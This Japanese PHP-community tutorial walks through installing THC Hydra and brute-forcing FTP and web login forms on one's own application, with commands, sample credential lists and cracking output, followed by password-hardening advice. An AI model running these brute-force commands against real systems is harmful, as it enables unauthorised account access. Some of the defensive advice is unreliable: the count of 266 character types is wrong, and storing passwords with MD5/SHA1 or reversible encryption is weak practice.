hydraを使ってftp・ログインフォームのアカウントをクラックしましょう。開発者だけではなく、Webアプリケーション利用者もどんなに簡単にクラックされてしまうかを恐怖しましょう。
恐ろしくなってみないとセキュリティの意識は高まりません。 但し、このhydraを使って他人のサイトへ攻撃を試みると、不正アクセスと見な されますので自分のアプリケーションでチェックしてみてください。
1、まずはhydraのソースをdownloadして解凍します
THC > http://www.thc.org/
tar xzf hydra-5.3-src.tar.gz
2、インストールします
cd hydra-5.3-src
./configure
make
make install
3、アカウントファイルを用意します
userlist.txt
administrator
anonymous
corporatename
email
guest
root
testuser
uniqueid
user
passlist.txt
1234
address
adminpass
password
rootpass
qwerty
testtest
zipcode
これで準備が整いました。 コマンドの詳細オプションの解説は省略しますが、
hydra -h
でヘルプが参照できますので、ご参照ください。
4、ローカルのFTPをクラックしてみる
hydra -e sn -L userlist.txt -P passlist.txt localhost ftp
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal
purposes.
Hydra (http://www.thc.org) starting at 2006-10-10 10:10:10
[DATA] 16 tasks, 1 servers, 72 login tries (l:9/p:8), ~4 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 127.0.0.1 login: root password: rootpass
[STATUS] attack finished for localhost (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2006-10-10 10:10:11
5、ログインフォームをクラックしてみる
ログインフォームをクラックする時は、POSTするキーと失敗した時のHTML出力を コマンドに記述しなくてはいけませんので、少し複雑になっています。
hydra -e sn -L userlist.txt -P passlist.txt my_url.url http-post-form
'/login/login_check.php:username=^USER^&password=^PASS^&login=login:budpatternsauce'
Hydra v5.3 (c) 2006 by van Hauser / THC - use allowed only for legal
purposes.
Hydra (http://www.thc.org) starting at 2006-10-10 10:10:10
[DATA] 16 tasks, 1 servers, 72 login tries (l:9/p:8), ~4 tries per task
[DATA] attacking service http-post-form on port 80
[STATUS] attack finished for my_url.url (waiting for childs to finish)
[80][www-form] host: xxx.xxx.xxx.xxx login: root password: rootpass
Hydra (http://www.thc.org) finished at 2006-10-10 10:10:11
いかがでしょうか? 自分パスワードを知っているとはいえ、使ってみるとアカウントが容易にクラッ クされてしまう事がわかると思います。
ここで紹介しているアカウントファイルは数点ですが、クラッカーは数万点のリ ストを用意しています。 アプリケーションを使う側の方はパスワードの文字数を増やしたり、大文字・小 文字・数字・記号を織り交ぜたパスワードにする事により、ブルートフォース攻 撃に絶大な効果を発揮します。
パスワード例
-数値のみ6文字
200610
10種類 ^ 6文字 = 1000000パターン
-小文字のみ8文字
qwertyui
26種類 ^ 8文字 = 208827064576パターン
-大文字・小文字・数字・記号を織り交ぜた8文字
PW0=>ab!
266種類 ^ 8文字 = 25064156467793879296パターン
また、ログインフォームを実装される方・された事のある方は多くの対策が思い つくのではないでしょうか。
パスワードの最低文字数制限やログイン回数のしきい値を設けたり、ログを取っ たりなどは最低限必要になってきますし、運用上、どこからパスワードが漏れる かわかりません。 パスワードは必ずmd5やsha1などのハッシュ値もしくは、可逆暗号を用いて暗号 化して保存しましょう。
【訂正】
掲載当初、「1、まずはhydraのソースをdownloadして解凍します」のところで「tar xzf hydra-5.3-src.tar.tar」とあったのは誤りで、正しくは「tar xzf hydra-5.3-src.tar.gz」です。お詫びして訂正します。[2007/5/10]
この記事は、アシアルが運営するPHP開発者のためのポータル&コミュニティサイト「PHPプロ!」で毎週配信しているPHP・TIPSメーリングリストを再録したものです。
同サイトでは、他にもPHP最新ニュースや、困ったときのQ&A掲示板、初心者向けのPHP講座など、PHP開発者をサポートする情報を掲載しています。